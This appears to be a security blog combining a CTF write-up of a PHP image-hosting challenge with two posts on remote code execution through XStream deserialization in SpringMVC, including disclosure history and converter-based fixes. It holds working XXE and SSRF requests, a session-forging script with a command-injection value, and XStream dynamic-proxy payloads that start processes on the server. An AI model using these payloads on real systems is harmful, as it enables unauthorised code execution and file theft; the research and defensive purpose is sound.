RCE

#hackyou2014 Web400 write-up

I did not solve this level during the CTF, but found it so interesting reading Xelenonz write-up that I couldnt help trying it myself just for the fun and since this blog is my personal notes, I decided to write it here for future reference, but all credits go to Xelenonz.

We are given the code of a Image hostig web app. Reading the code we see how it handle the requests:

include 'config.php';  
include 'classes.php';  
$action = (isset($_REQUEST['action'])) ? $_REQUEST['action'] : 'View';
$param = (isset($_REQUEST['param'])) ? $_REQUEST['param'] : 'index';
$page = new $action($param);
echo $page;  

So action is used to instantiate any arbitrary class and param is the argument for the constructor. Cool. We are given a bunch of classes the application uses to upload and view images and to manage the Session object:

class View {  
    function __construct($page) {
        ob_start();
        readfile('html/header.html');
        switch ($page) {
            case 'index':
                readfile('html/index.tpl.html');
                break;
            case 'upload':
                readfile('html/upload.tpl.html');
                break;
        }
        readfile('html/footer.html');
    }
    function __toString() {
        $this->content = ob_get_contents();
        ob_end_clean();
        return $this->content;
    }
}

class Upload {  
    function __construct($data) {
        global $config;
        $this->data = base64_decode($data);
        $this->filename = md5(uniqid(rand(), true));
        $this->path = $config['root'].'images/'.$this->filename;
        file_put_contents($this->path, $this->data);
        $this->type = exif_imagetype($this->path);
    }
    function __toString() {
        if ($this->type) {
            $link = 'http://'.$_SERVER['SERVER_NAME'].'/'.$this->filename;
            return '<p>Successfully updated!</p>Your link: <a href="'.$link.'">'.$link.'</a>';
        } else {
            return '<p>Wrong file type!<p>';
        }
    }
    function __destruct() {
        if ($this->type) {
            echo '<p>Some file info:

<pre>';
            passthru('exiv2 '.$this->path);
            echo '</pre></p>';
        } else {
            unlink($this->path);
        }
    }
}

class Image {  
    function __construct($filename) {
        global $config;
        $this->filename = $filename;
        $this->path = $config['root'].'images/'.$this->filename;
    }
    function __toString() {
        if (preg_match('/^[a-f0-9]{32}$/', $this->filename) && file_exists($this->path)) {
            $this->type = exif_imagetype($this->path);
            $this->mime = image_type_to_mime_type($this->type);
            header('Content-Type: '.$this->mime);
            return file_get_contents($this->path);
        } else {
            return '<h1>Error</h1>';
        }
    }
}

class Session {  
    function __construct() {
        global $config;
        session_set_save_handler(
            array($this, "open"), array($this, "close"),  array($this, "read"),
            array($this, "write"),array($this, "destroy"),array($this, "gc")
        );
        $this->key = $config['key'];
        $this->size = 32;
        $this->path = '/tmp';
    }

    function encrypt($data) {
        $iv = mcrypt_create_iv($this->size, MCRYPT_RAND);
        $key = hash('sha256', $this->key, true);
        $data = $iv.mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $data, MCRYPT_MODE_CBC, $iv);
        return $data;
    }

    function decrypt($data) {
        $key = hash('sha256', $this->key, true);
        $iv = substr($data, 0, $this->size);
        $data = substr($data, $this->size);
        $data = mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $key, $data, MCRYPT_MODE_CBC, $iv);
        return $data;
    }

    function write($id, $data) {
        $path = $this->path.'/'.$id;
        $data = $this->encrypt($data);
        file_put_contents($path, $data);
    }

    function read($id) {
        $path = $this->path.'/'.$id;
        $data = null;
        if (is_file($path)) {
            $data = file_get_contents($path);
            $data = $this->decrypt($data);
        }
        return $data;
    }

    function open($sess_path, $sess_id) {
        //nothing
    }

    function close() {
        return true;
    }

    function gc($maxlifetime) {
        $path = $this->path.'/*';
        foreach (glob($path) as $file) {
            if (filemtime($file) + $maxlifetime < time() && file_exists($file)) {
                unlink($file);
            }
        }
        return true;
    }

    function destroy($id) {
        $path = $this->path.'/'.$id;
        if (is_file($path)) {
            unlink($path);
        }
        return true;
    }
}

The most interesting one are the Upload class whose destructor runs "arbitrary code" and Session which tell us how the Session object is initializated and stored/read from disk (although, we dont know the encryption key that is stored in the config.php file). These are classes are interesting but not useful if we can only create an instance and print the instance tostring return value. Lets look for PHP system classes that could be more useful:

[email protected] ~> php -r 'var_dump (get_declared_classes ());'  
array(139) {  
  [0]=> string(8) "stdClass"
  [1]=> string(9) "Exception"
  [2]=> string(14) "ErrorException"
  [3]=> string(7) "Closure"
  [4]=> string(8) "DateTime"
  [5]=> string(12) "DateTimeZone"
  [6]=> string(12) "DateInterval"
  [7]=> string(10) "DatePeriod"
  [8]=> string(11) "LibXMLError"
  [9]=> string(7) "SQLite3"
  [10]=> string(11) "SQLite3Stmt"
  [11]=> string(13) "SQLite3Result"
  [12]=> string(12) "DOMException"
  [13]=> string(13) "DOMStringList"
  [14]=> string(11) "DOMNameList"
  [15]=> string(21) "DOMImplementationList"
  [16]=> string(23) "DOMImplementationSource"
  [17]=> string(17) "DOMImplementation"
  [18]=> string(7) "DOMNode"
  [19]=> string(16) "DOMNameSpaceNode"
  [20]=> string(19) "DOMDocumentFragment"
  [21]=> string(11) "DOMDocument"
  [22]=> string(11) "DOMNodeList"
  [23]=> string(15) "DOMNamedNodeMap"
  [24]=> string(16) "DOMCharacterData"
  [25]=> string(7) "DOMAttr"
  [26]=> string(10) "DOMElement"
  [27]=> string(7) "DOMText"
  [28]=> string(10) "DOMComment"
  [29]=> string(11) "DOMTypeinfo"
  [30]=> string(18) "DOMUserDataHandler"
  [31]=> string(11) "DOMDomError"
  [32]=> string(15) "DOMErrorHandler"
  [33]=> string(10) "DOMLocator"
  [34]=> string(16) "DOMConfiguration"
  [35]=> string(15) "DOMCdataSection"
  [36]=> string(15) "DOMDocumentType"
  [37]=> string(11) "DOMNotation"
  [38]=> string(9) "DOMEntity"
  [39]=> string(18) "DOMEntityReference"
  [40]=> string(24) "DOMProcessingInstruction"
  [41]=> string(15) "DOMStringExtend"
  [42]=> string(8) "DOMXPath"
  [43]=> string(5) "finfo"
  [44]=> string(14) "LogicException"
  [45]=> string(24) "BadFunctionCallException"
  [46]=> string(22) "BadMethodCallException"
  [47]=> string(15) "DomainException"
  [48]=> string(24) "InvalidArgumentException"
  [49]=> string(15) "LengthException"
  [50]=> string(19) "OutOfRangeException"
  [51]=> string(16) "RuntimeException"
  [52]=> string(20) "OutOfBoundsException"
  [53]=> string(17) "OverflowException"
  [54]=> string(14) "RangeException"
  [55]=> string(18) "UnderflowException"
  [56]=> string(24) "UnexpectedValueException"
  [57]=> string(25) "RecursiveIteratorIterator"
  [58]=> string(16) "IteratorIterator"
  [59]=> string(14) "FilterIterator"
  [60]=> string(23) "RecursiveFilterIterator"
  [61]=> string(22) "CallbackFilterIterator"
  [62]=> string(31) "RecursiveCallbackFilterIterator"
  [63]=> string(14) "ParentIterator"
  [64]=> string(13) "LimitIterator"
  [65]=> string(15) "CachingIterator"
  [66]=> string(24) "RecursiveCachingIterator"
  [67]=> string(16) "NoRewindIterator"
  [68]=> string(14) "AppendIterator"
  [69]=> string(16) "InfiniteIterator"
  [70]=> string(13) "RegexIterator"
  [71]=> string(22) "RecursiveRegexIterator"
  [72]=> string(13) "EmptyIterator"
  [73]=> string(21) "RecursiveTreeIterator"
  [74]=> string(11) "ArrayObject"
  [75]=> string(13) "ArrayIterator"
  [76]=> string(22) "RecursiveArrayIterator"
  [77]=> string(11) "SplFileInfo"
  [78]=> string(17) "DirectoryIterator"
  [79]=> string(18) "FilesystemIterator"
  [80]=> string(26) "RecursiveDirectoryIterator"
  [81]=> string(12) "GlobIterator"
  [82]=> string(13) "SplFileObject"
  [83]=> string(17) "SplTempFileObject"
  [84]=> string(19) "SplDoublyLinkedList"
  [85]=> string(8) "SplQueue"
  [86]=> string(8) "SplStack"
  [87]=> string(7) "SplHeap"
  [88]=> string(10) "SplMinHeap"
  [89]=> string(10) "SplMaxHeap"
  [90]=> string(16) "SplPriorityQueue"
  [91]=> string(13) "SplFixedArray"
  [92]=> string(16) "SplObjectStorage"
  [93]=> string(16) "MultipleIterator"
  [94]=> string(14) "SessionHandler"
  [95]=> string(22) "__PHP_Incomplete_Class"
  [96]=> string(15) "php_user_filter"
  [97]=> string(9) "Directory"
  [98]=> string(20) "mysqli_sql_exception"
  [99]=> string(13) "mysqli_driver"
  [100]=> string(6) "mysqli"
  [101]=> string(14) "mysqli_warning"
  [102]=> string(13) "mysqli_result"
  [103]=> string(11) "mysqli_stmt"
  [104]=> string(12) "PDOException"
  [105]=> string(3) "PDO"
  [106]=> string(12) "PDOStatement"
  [107]=> string(6) "PDORow"
  [108]=> string(13) "PharException"
  [109]=> string(4) "Phar"
  [110]=> string(8) "PharData"
  [111]=> string(12) "PharFileInfo"
  [112]=> string(19) "ReflectionException"
  [113]=> string(10) "Reflection"
  [114]=> string(26) "ReflectionFunctionAbstract"
  [115]=> string(18) "ReflectionFunction"
  [116]=> string(19) "ReflectionParameter"
  [117]=> string(16) "ReflectionMethod"
  [118]=> string(15) "ReflectionClass"
  [119]=> string(16) "ReflectionObject"
  [120]=> string(18) "ReflectionProperty"
  [121]=> string(19) "ReflectionExtension"
  [122]=> string(23) "ReflectionZendExtension"
  [123]=> string(16) "SimpleXMLElement"
  [124]=> string(17) "SimpleXMLIterator"
  [125]=> string(4) "SNMP"
  [126]=> string(13) "SNMPException"
  [127]=> string(10) "SoapClient"
  [128]=> string(7) "SoapVar"
  [129]=> string(10) "SoapServer"
  [130]=> string(9) "SoapFault"
  [131]=> string(9) "SoapParam"
  [132]=> string(10) "SoapHeader"
  [133]=> string(4) "tidy"
  [134]=> string(8) "tidyNode"
  [135]=> string(9) "XMLReader"
  [136]=> string(9) "XMLWriter"
  [137]=> string(13) "XSLTProcessor"
  [138]=> string(10) "ZipArchive"
}

That's a bunch of classes but going through them we find two that are particulary interest: "SplFileObject" and "SimpleXmlElement".
With SplFileObject we are returned the first line of any file:

You can however, use PHP filters to encode it base64 and get all file contents as a long base64 line:

Thats pretty cool, now we can decode it and get the key:

$config = array();
$config['root'] = '/var/www/';
$config['key'] = '6hQJMFh8gRje67EmpDX3';
$config['IP'] = array('127.0.0.1');
$config['password'] = '3fd5b6db6bc90ddd6a6f6caad27d8b00';

And thats basically as far as I got, I could not bypass the restriction in the "admin.php" to allow only requests from localhost so I could not start the session and try to take advantage of it.

After the CTF ended I found out that we could submit XML documents with external entities and launch a SSRF attack from there. Lets see how.
We can use the "SimpleXMLElement" class to create XML documents like:

POST /index.php?action=SimpleXMLElement HTTP/1.1  
Host: hackyou2014tasks.ctf.su:40080  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0  
Content-Type: application/x-www-form-urlencoded;application/xml  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,es-es;q=0.8,es;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Content-Length: 21

param=<foo>test</foo>  

Actually I tried this during the CTF but forgot to add the "Content-Type" header so kept on getting "Internal Server Errors", damn!

Anyway, The server returns us our XML document so now we can try to inject external entities:

POST /index.php?action=SimpleXMLElement HTTP/1.1  
Host: hackyou2014tasks.ctf.su:40080  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0  
Content-Type: application/x-www-form-urlencoded;application/xml  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,es-es;q=0.8,es;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Content-Length: 76

param=<!DOCTYPE foo [<!ENTITY xxe SYSTEM "/etc/passwd" >]><foo>%26xxe;</foo>  
HTTP/1.1 200 OK  
Date: Fri, 17 Jan 2014 13:49:12 GMT  
Server: Apache/2.2.22 (Ubuntu)  
X-Powered-By: PHP/5.3.10-1ubuntu3.8  
Vary: Accept-Encoding  
Content-Length: 1041  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html

root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/bin/sh  
bin:x:2:2:bin:/bin:/bin/sh  
sys:x:3:3:sys:/dev:/bin/sh  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/bin/sh  
man:x:6:12:man:/var/cache/man:/bin/sh  
lp:x:7:7:lp:/var/spool/lpd:/bin/sh  
mail:x:8:8:mail:/var/mail:/bin/sh  
news:x:9:9:news:/var/spool/news:/bin/sh  
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh  
proxy:x:13:13:proxy:/bin:/bin/sh  
www-data:x:33:33:www-data:/var/www:/bin/sh  
backup:x:34:34:backup:/var/backups:/bin/sh  
list:x:38:38:Mailing List Manager:/var/list:/bin/sh  
irc:x:39:39:ircd:/var/run/ircd:/bin/sh  
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh  
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh  
libuuid:x:100:101::/var/lib/libuuid:/bin/sh  
syslog:x:101:103::/home/syslog:/bin/false  
messagebus:x:102:105::/var/run/dbus:/bin/false  
whoopsie:x:103:106::/nonexistent:/bin/false  
landscape:x:104:109::/var/lib/landscape:/bin/false  
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin  
user:x:1000:1000:user,,,:/home/user:/bin/bash  

The nice thing about this XXE vulnerability is not that we can read any file (that we already could using the SplFileObject class) but that we can use to initiate requests from the own server!

Now we can bypass localhost address restriction, however accessing http://locahost/admin.php returns some characters that break the XML schema so we will use the PHP base64 encoder filter to return an XML schema friendly version of the page:

POST /index.php?action=SimpleXMLElement HTTP/1.1  
Host: hackyou2014tasks.ctf.su:40080  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0  
Content-Type: application/x-www-form-urlencoded;application/xml  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,es-es;q=0.8,es;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Content-Length: 140

param=<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/admin.php" >]><foo>%26xxe;</foo>  
HTTP/1.1 200 OK  
Date: Fri, 17 Jan 2014 13:51:57 GMT  
Server: Apache/2.2.22 (Ubuntu)  
X-Powered-By: PHP/5.3.10-1ubuntu3.8  
Vary: Accept-Encoding  
Content-Length: 256  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html

PGh0bWw+Cjxib2R5PgoJPGI+RW50ZXIgcGFzc3dvcmQ6PC9iPgoJPGZvcm0gYWN0aW9uPSJhZG1pbi5waHAiIG1ldGhvZD0iUE9TVCI+CgkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhc3N3b3JkIj4KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJHTyI+Cgk8L2Zvcm0+CjwvYm9keT4KPC9odG1sPgo=  

That decodes into:

<html>  
<body>  
    <b>Enter password:</b>
    <form action="admin.php" method="POST">
        <input type="text" name="password">
        <input type="submit" name="submit" value="GO">
    </form>
</body>  
</html>  

Now, I dont really need to become admin since right after the local IP check, the Session is initialized:

if (!in_array($_SERVER['REMOTE_ADDR'], $config['IP']))  
    die('<h1>Access denied</h1>');

$handler = new Session();
session_start();  

So session_start() will call the session handler open() and read() methods to restore the session. If we look at our custom Session handler we see that the serialized session is read from /tmp/<phpsessionid>:

function __construct() {  
    global $config;
    session_set_save_handler(
        array($this, "open"), array($this, "close"),  array($this, "read"),
        array($this, "write"),array($this, "destroy"),array($this, "gc")
    );
    $this->key = $config['key'];
    $this->size = 32;
    $this->path = '/tmp';
}

function read($id) {  
    $path = $this->path.'/'.$id;
    $data = null;
    if (is_file($path)) {
        $data = file_get_contents($path);
        $data = $this->decrypt($data);
    }
    return $data;
}

And since we can control PHPSESSIONID by sending it as a query parameter using the SSRF attack, we can point the read() method to a different file. Luckly for us we can upload images to /var/www/images right?? so if we make:

PHPSESSIONID=../var/www/images/<image under control>  

We will fool the application to read the session from our file. All we have to do now is uploading an image that is an encrypted version of a serialized session containing any arbitrary objects we want to store there.

Here its where the Upload class come really handy since its destructor can execute any command if we control the $this-path variable which we do:

class Upload {  
    function __construct($data) {
        global $config;
        $this->data = base64_decode($data);
        $this->filename = md5(uniqid(rand(), true));
        $this->path = $config['root'].'images/'.$this->filename;
        file_put_contents($this->path, $this->data);
        $this->type = exif_imagetype($this->path);
    }
    function __toString() {
        if ($this->type) {
            $link = 'http://'.$_SERVER['SERVER_NAME'].'/'.$this->filename;
            return '<p>Successfully updated!</p>Your link: <a href="'.$link.'">'.$link.'</a>';
        } else {
            return '<p>Wrong file type!<p>';
        }
    }
    function __destruct() {
        if ($this->type) {
            echo '<p>Some file info:

<pre>';
            passthru('exiv2 '.$this->path);
            echo '</pre></p>';
        } else {
            unlink($this->path);
        }
    }
}

So we can craft a session object containing an instance of a hand crafted Upolad* class and assign it to $_SESSION['auth'] (so the welcome message is printed).

Also, if we want to obtain our exploit "image" hash to craft the PHPSESSIONID, we need our exploit to have "$this->type > 0" and for that we need exif_imagetype() to return a value bigger than 0. So our exploit will be generated with the following script that will run "ls /" when the Upload instance is destroyed. PHP 5 introduced a destructor concept similar to that of other object-oriented languages, such as C++. The destructor method will be called as soon as there are no other references to a particular object, or in any order during the shutdown sequence.

class Upload {  
    function __construct($path) {
        $this->data = "";
        $this->filename = "";
        $this->path = $path;
        $this->type = "image/jpeg";
    }
}

function encrypt($data) {  
        $size = 32;
        $key = '6hQJMFh8gRje67EmpDX3';
        $iv = mcrypt_create_iv($size, MCRYPT_RAND);
        $key = hash('sha256', $key, true);
        $data = $iv.mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $data, MCRYPT_MODE_CBC, $iv);
        return $data;
}

$upload = new Upload("img; ls /");
$payload = 'auth|'.serialize($upload);
$data = '';
$file = 0;
while (true){  
    echo '.';
    $data = encrypt($payload);
    file_put_contents("exploit",$data);
    $file = exif_imagetype('exploit');
    if($file > 0){
        echo $file."\n";
        die("Done\n");
    };
};

Now our exploit will be accepted:

All we are left to do is use our SSRF vector to visit the admin.php page for us and make it set the PHPSESSIONID in the query parameter:

If we decode the response:

The flag was:

CTF{42a38432d46b9054004a7a87fd3140c7}  

More on XStream RCE: SpringMVC WS

Continuing my previous post where I mentioned that the XStream RCE issue issue also affected SpringMVC RESTful WebServices using the XStream SpringOXM wrapper, I wanted to share a POC server. The code is quite simple and can be found in the XStreamServer GitHub Repo. It contains a WebService defined by the ContactController:

@Controller
@RequestMapping("/contacts")
public class ContactController {

    @Autowired
    private ContactRepository contactRepository;

    @RequestMapping( value = "/{id}", method = RequestMethod.GET )
    @ResponseStatus(HttpStatus.OK)
    @ResponseBody
    public final Contact get( @PathVariable( "id" ) final Long contactId ){
        System.out.println("get");
        return contactRepository.findOne(contactId);
    }

    @RequestMapping( method = RequestMethod.POST )
    @ResponseStatus( HttpStatus.CREATED )
    @ResponseBody
    public final String create( @RequestBody final Contact contact ){
        System.out.println("Contact name: " + contact.getFirstName());
        contactRepository.save((ContactImpl) contact);
        return "OK";
    }
}

The create method binds an incoming XML message with a Contact instance. This application is configured to use XStream as its binding library as shown here:

<!-- Marshaller configuration -->  
<bean id="marshallingHttpMessageConverter" class="org.springframework.http.converter.xml.MarshallingHttpMessageConverter">  
    <property name="marshaller" ref="xstreamMarshaller"/>
    <property name="unmarshaller" ref="xstreamMarshaller"/>
</bean>

<bean id="xstreamMarshaller" class="org.springframework.oxm.xstream.XStreamMarshaller">  
    <property name="aliases">
        <props>
            <prop key="contact">org.pwntester.springserver.ContactImpl</prop>
        </props>
    </property>
</bean>  

So SpringMVC will handle the XML document to the SpringOXM wrapper for unmarshalling. SpringOXM uses the XStreamMarshaller so it will simply call XStream in order to unmarshall the Contact object. At this point and with the details provided in the XStream RCE post its game over.

Use maven and jetty to start the server:

mvn -Djetty.port=8080 -DDebug clean jetty:run  

Expected use:

curl --header "content-type: application/xml" --data @contact.xml "http://localhost:8080/contacts"  

Exploit knowing the interface:

curl --header "content-type: application/xml" --data @exploit.xml "http://localhost:8080/contacts"  

Generic Exploit:

curl --header "content-type: application/xml" --data @exploit2.xml "http://localhost:8080/contacts"  

What to do about it

When I reported the issue to the Spring Security Team they updated their documentation and they added a CatchAllConverter for the users to use if they wish:

Documentation changes:

Jira ticket to create a new CatchAllConverter:

The main purpose of the catch-all converter class is to register itself as a catchall last converter with normal (or higher) priority, after converters that support specific domain classes. That way default XStream converters with lower priorities and possible security vulnerabilities do not get invoked.

They added the catch-all converter which is great but they did not register it by default so unless your XStreamMarshaller config looks the following, you will be in trouble:

<!-- Marshaller configuration -->  
<bean id="marshallingHttpMessageConverter" class="org.springframework.http.converter.xml.MarshallingHttpMessageConverter">  
    <property name="marshaller" ref="xstreamMarshaller"/>
    <property name="unmarshaller" ref="xstreamMarshaller"/>
</bean>

<bean id="xstreamMarshaller" class="org.springframework.oxm.xstream.XStreamMarshaller">  
    <property name="aliases">
        <props>
            <prop key="contact">org.pwntester.springserver.ContactImpl</prop>
        </props>
    </property>
    <property name="converters">
        <list>
            <bean class="org.springframework.oxm.xstream.CatchAllConverter"/>
            <bean class="org.pwntester.springserver.ContactConverter"/>
        </list>
    </property>
</bean>  

Please note that Spring documentation is wrong and the "CatchAllConverter" needs to be registered in the first place so it gets lower priority as showed in the XStreamMarshaller.setConverters code and not in the last place as suggested by the documentation:

    public void  [More ...] setConverters(ConverterMatcher[] converters) {
        for (int i = 0; i < converters.length; i++) {
            if (converters[i] instanceof Converter) {
                getXStream().registerConverter((Converter) converters[i], i);
            }
            else if (converters[i] instanceof SingleValueConverter) {
                getXStream().registerConverter((SingleValueConverter) converters[i], i);
            }
            else {
                throw new IllegalArgumentException("Invalid ConverterMatcher [" + converters[i] + "]");
            }
        }
    }

So summing up, if you are using XStream marshaller in your SpringMVC web service and havent set any Catch-All Converter, you are screwed. But it has an easy (undocumented) solution:

  • Write a custom converter for each of the classes you are expecting
  • Register a CatchAllConverter followed by your custom converters in the XStreamMarshaller configuration.

Thanks for reading!

RCE via XStream object deserialization

When researching SpringMVC RESTful APIs and their XXE vulnerabilities I found that XStream was not vulnerable to XXE because it ignored the <DOCTYPE /> blocks. Curious about it I decided to took a deeper look at XStream and found out that its not just a simple marshalling library as JAXB but a much more powerful serializing library capable of serializing to an XML representation really complex types and not just POJOs. I took a look at the list of XStream converters and found the following interesting one:

As stated by the XStream documentation:

The dynamic proxy itself is not serialized, however the interfaces it implements and the actual InvocationHandler instance are serialized. This allows the proxy to be reconstructed after deserialization.

This allow us to send an XML representation of a dynimic proxy where the InvocationHandler will be XStream serialized. The XML representation will look something like:

 <dynamic-proxy>
  <interface>com.foo.Blah</interface>
  <interface>com.foo.Woo</interface>
  <handler class="com.foo.MyHandler">
    <something>blah</something>
  </handler>
</dynamic-proxy>  

So for those not familiar with a dynamic proxy, lets say that is a way to intercept any call to an interface declared method so that when the method is invoked on the proxified interface we can hook the method call and inject any custom code.

The InvocationHandler will be the responsable to handle the intercepted call. For our exploit we will be using java.beans.EventHandler that does not implement the Serializable interface so we could not use it for our CVE-2011-2894 exploit but that is serializable using XStream.

The simplest scenario is the one where the server is expecting a serialized instance that implements a given interface. Lets say that the server code looks like:

@Controller
 @RequestMapping("/contacts")
 public class ContactController {
     @Autowired
     private ContactRepository contactRepository;

     @RequestMapping( method = RequestMethod.POST )
     @ResponseStatus( HttpStatus.CREATED )
      public final String create( @RequestBody Contact contact ){
         log(”Creating new contact: " + contact.getFirstName());
         contactRepository.save(contact);
         return "OK";
     }
 }

So the idea is to:

  • Find out what Class the XML will be deserialized to (in this case com.company.model.Contact)
  • Create a proxy for that class
  • Intercept/hook any call to any method in the interface
  • Replace the original call with the malicious payload
  • Send the serialized version of the proxy
  • Cross-fingers
  • Profit

So this is what our server application was expecting:

<contact>  
    <id>1</id>
    <firstName>alvaro</firstName>
    <lastName>munoz</lastName>
    <email>[email protected]</email>
</contact>  

And this is what we will send in order to execute any arbitrary payload:

<dynamic-proxy>  
<interface>com.company.model.Contact</interface>  
<handler class="java.beans.EventHandler">  
    <target class="java.lang.ProcessBuilder">
    <command><string>/Applications/Calculator.app/Contents/MacOS/Calculator</string></command>
    </target>
    <action>start</action>
</handler>  
</dynamic-proxy>  

As you can see we are defining a dynamic proxy for the "com.company.model.Contact" interface and intercepting any method call on that interface with a "java.beans.EventHandler" invocation handler. This handler will replace the original method call with a call to "java.lang.ProcessBuilder.start("/Applications/Calculator.app/Contents/MacOS/Calculator")".

Convenient, isn't it?

So as soon as the server code reaches a method call on the proxified interface like the following line on our example controller:

log(”Creating new contact: " + contact.getFirstName());  

The method call will be intercepted and replaced with our payload and the result will be a malicious calculator running on the server :)

Increasing the success likelihood

Finding out what Class the server is expecting can be difficult and we also have the limitation that the class needs to implements an interface. How many applications have you seen using interfaces for POJO DTOs?? A solution for this problem is to serialize an object that contains other objects and that in order to instantiate this object, a call to an interface method has to be made. This is where we will be able to inject our malicious code using an InvocationHandler. The original idea by Jörg Schaible (XStream developer) was proposed during the disclosure to the XStream team and can be found here. This variant consists on serializing a java.util.TreeSet containg different objects implementing the java.lang.Comparable interface so that when the Set is instantiated on the server side, the Comparable interface methods are called to sort the Set. All we have to do now is to add a dynamic proxy intercepting any method call to the Comparable interface and replacing it with our payload:

Set<Comparable> set = new TreeSet<Comparable>();  
set.add("foo");  
set.add(EventHandler.create(Comparable.class, new ProcessBuilder("open","/Applications/Calculator.app"), "start"));  

If we try to serialize it using XStream toXML it will throw a Cast exception and we wont be able to get the serialized version:

Set<Comparable> set = new TreeSet<Comparable>();  
set.add("foo");  
set.add(EventHandler.create(Comparable.class, new ProcessBuilder("/Applications/Calculator.app/Contents/MacOS/Calculator"), "start"));  
String payload = xstream.toXML(set);  
System.out.println(payload);  

Will throw:

Exception in thread "main" java.lang.ClassCastException: java.lang.UNIXProcess cannot be cast to java.lang.Integer  
  at com.sun.proxy.$Proxy4.compareTo(Unknown Source)
  at java.util.TreeMap.put(TreeMap.java:560)
  at java.util.TreeSet.add(TreeSet.java:255)
  at com.pwntester.xstreampoc.Main.main(Main.java:26)
  at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
  at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
  at java.lang.reflect.Method.invoke(Method.java:601)
  at com.intellij.rt.execution.application.AppMain.main(AppMain.java:120)

That will also happen during the deserialization process but at least we will be able to execute our payload.
Anyway, we will need to craft the payload by hand and we will get something like:

<sorted-set>  
  <string>foo</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="java.beans.EventHandler">
      <target class="java.lang.ProcessBuilder">
        <command>
          <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
        </command>
      </target>
      <action>start</action>
    </handler>
  </dynamic-proxy>
</sorted-set>  

Now, if we deserialize this XML, we will get a Cast exception and our malicious calculator running on the server:

String payload = "<sorted-set>" +  
        "<string>foo</string>" +
        "<dynamic-proxy>" +
        "<interface>java.lang.Comparable</interface>" +
        "<handler class=\"java.beans.EventHandler\">" +
        " <target class=\"java.lang.ProcessBuilder\">" +
        " <command>" +
        " <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>" +
        " </command>" +
        " </target>" +
        " <action>start</action>" +
        "</handler>" +
        "</dynamic-proxy>" +
        "</sorted-set>";

Contact c = (Contact) xstream.fromXML(payload);  

You can find the whole project POC in the XStream POC github repo

Disclosure

I reported this issue to the XStream developers. I was wondering if there was any way to unregister the reflection converter by default. As you can see in this mail thread, there was a solution. Unregistering the converter was not possible but registering a catch-all converter with higher priority than the reflection one should be possible.

As the XStream team argued, disabling it dy default was not an option since it was used by 99% of all projects using XStream:

Would it be possible to not register the reflection converters by default so only users that need them do it? Unfortunately no. It's one of XStream's key features that you actually can marshal nearly any object graph out of the box. If we drop the ReflectionConverter as catch all, we'll break immediately ~99% of all existing projects using XStream.

I was ok with that since at least there was a way to "disable" it manually. But I saw no point on having the reflection converter on by default in SpringOXM when used for building RESTful webservices. RESTful APIs are about representation of entities and I see no point on serializing dynamic proxies to represent those entities. I got in contact with Spring Security Team and let them know the issue. Their response was that XStream should not be use for RESTFul webservices and that they wont disable the converter by default in their SpringOXM wrapper since its not only used by SpringMVC but they agreed in updating the SpringMVC documentation to reflect that XStreamMarshaller should be used at your own risk when used to build RESTful APIs.

What to do about it

Ok, so what can we do as developers to avoid this? We need to:

  • Register a standard priority converter for the beans you are expecting in your application
  • Register a catch-all converter with higher priority than the reflection ones (low priority) and make the converter to return null on its unmarshall method so any object deserialized by the catch-all converter, will throw an exception and interrupt the converter chain before hitting the Reflection converters.

Writing a custom converter is easy and its explaind in detail on the XStream documentation. We will be creating a custom converter for the Contact class in the XStream POC example presented above:

package com.pwntester.xstreampoc;

import com.thoughtworks.xstream.converters.Converter;  
import com.thoughtworks.xstream.converters.MarshallingContext;  
import com.thoughtworks.xstream.converters.UnmarshallingContext;  
import com.thoughtworks.xstream.io.HierarchicalStreamReader;  
import com.thoughtworks.xstream.io.HierarchicalStreamWriter;

public class ContactConverter implements Converter {

    public boolean canConvert(Class clazz) {
        return clazz.equals(Contact.class);
    }

    public void marshal(Object value, HierarchicalStreamWriter writer, MarshallingContext context) {
        Contact contact = (Contact) value;
        writer.startNode("name");
        writer.setValue(contact.getName());
        writer.endNode();
    }

    public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
        Contact contact = new Contact();
        reader.moveDown();
        contact.setName(reader.getValue());
        reader.moveUp();
        return contact;
    }

}

For the catch-all converter, we will return null when unmarshalling:

package com.pwntester.xstreampoc;

import com.thoughtworks.xstream.converters.Converter;  
import com.thoughtworks.xstream.converters.MarshallingContext;  
import com.thoughtworks.xstream.converters.UnmarshallingContext;  
